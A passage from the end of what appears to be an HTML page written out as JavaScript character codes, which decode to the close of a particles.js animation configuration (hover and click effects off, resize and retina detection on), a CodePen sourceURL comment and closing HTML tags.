110, 116, 115, 39, 58, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 39, 111, 110, 104, 111, 118, 101, 114, 39, 58, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 39, 101, 110, 97, 98, 108, 101, 39, 58, 32, 102, 97, 108, 115, 101, 10, 32, 32, 32, 32, 32, 32, 32, 32, 125, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 39, 111, 110, 99, 108, 105, 99, 107, 39, 58, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 39, 101, 110, 97, 98, 108, 101, 39, 58, 32, 102, 97, 108, 115, 101, 10, 32, 32, 32, 32, 32, 32, 32, 32, 125, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 39, 114, 101, 115, 105, 122, 101, 39, 58, 32, 116, 114, 117, 101, 10, 32, 32, 32, 32, 32, 32, 125, 10, 32, 32, 32, 32, 125, 44, 10, 32, 32, 32, 32, 39, 114, 101, 116, 105, 110, 97, 95, 100, 101, 116, 101, 99, 116, 39, 58, 32, 116, 114, 117, 101, 10, 125, 41, 59, 10, 32, 32, 47, 47, 35, 32, 115, 111, 117, 114, 99, 101, 85, 82, 76, 61, 112, 101, 110, 46, 106, 115, 10, 32, 32, 60, 47, 115, 99, 114, 105, 112, 116, 62, 10, 32, 32, 10, 60, 47, 98, 111, 100, 121, 62, 10, 60, 47, 104, 116, 109, 108, 62));</script>